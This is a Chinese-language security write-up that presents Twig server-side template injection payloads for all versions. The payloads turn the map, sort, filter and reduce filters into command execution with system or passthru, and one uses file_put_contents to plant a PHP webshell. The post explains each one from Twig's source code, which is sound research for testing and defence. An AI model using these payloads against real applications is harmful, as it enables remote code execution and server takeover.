0%

TWIG 全版本通用 SSTI payloads

上次发了一篇Twig 3.x with Symfony的SSTI利用方法,这几天刷twitter的时候又看到了一篇writeup,里面提到了另外一种rce的方法,这种方法不依赖于Symfony。

payloads

直接上结论,下面的payload在Twig 3.x 版本测试通过,看了1.x和2.x版本的代码,应该也是可以利用的。

  • {{["id"]|map("system")|join(",")}}

  • {{["id", 0]|sort("system")|join(",")}}

  • {{["id"]|filter("system")|join(",")}}
  • {{[0, 0]|reduce("system", "id")|join(",")}}
  • {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

分析

map

文档里面map的用法

image-20200331185804395

允许用户传一个arrow function, arrow function最后会变成一个closure

举个例子

{{["man"]|map((arg)=>"hello #{arg}")}}

会被编译成

1
twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))

map 对应的函数是twig_array_map ,下面是其实现

1
2
3
4
5
6
7
8
9
function twig_array_map($array, $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k);
}

return $r;
}

从上面的代码我们可以看到,$arrow 是可控的,可以不传arrow function,可以只传一个字符串。所以我们需要找个两个参数的能够命令执行的危险函数即可。通过查阅常见的命令执行函数:

  • system ( string $command [, int &$return_var ] ) : string

  • passthru ( string $command [, int &$return_var ] )

  • exec ( string $command [, array &$output [, int &$return_var ]] ) : string

  • popen ( string $command , string $mode )

  • shell_exec ( string $cmd ) : string

只要可以传两个参数的基本都可以,所以前四个都是可以用的。

思考一下如果上面的都被禁了,还有其他办法吗?

  • file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int

通过{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}} 写个shell 也是可以的。

当然了应该还有其他函数可以利用。

下面通过调试来看一下传arrow fucntion 和 直接传字符串会有什么不同。

(arg)=>”hello #{arg}”` 会被解析成ArrowFunctionExpression,经过一些列处理会变成一个闭包函数。

image-20200331155958489

但是如果我们传的是 `{{["id"]|map("passthru")}} passthru 会被解析成 ConstanExpression

image-20200331160420542

{{["id"]|map("passthru")}} 最终会被编译成下面这样

1
twig_array_map([0 => "whoami"], "passthru")

按照这个思路,我们去找$arrow 参数的, 可以发现下面几个filter也是可以利用的

sort

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function twig_sort_filter($array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}

if (null !== $arrow) {
uasort($array, $arrow);
} else {
asort($array);
}

return $array;
}

usort ( array &$array , callable $value_compare_func ) : bool

image-20200331164005226

所以我们可以构造

1
{{["id", 0]|sort("passthru")}}

filter

1
2
3
4
5
6
7
8
9
function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
}

// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

只需要传一个参数即可

1
{{["id"]|filter('system')}}

reduce

1
2
3
4
5
6
7
8
function twig_array_reduce($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}

return array_reduce($array, $arrow, $initial);
}

array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed

刚开始构造还是像前面那样构造成了

1
{{["id", 0]|reduce("passthru")}}

但是会发现没有执行成功,是因为第一次调用的是passthru($initial, "id"), $initial 是null,所以会失败。所以把$initial 赋值成要执行的命令即可

1
{{[0, 0]|reduce("passthru", "id")}}

不知道有没有自动化fuzz,把php允许有callback参数的所有函数找出来,如果有师傅研究过,欢迎来交流。

参考链接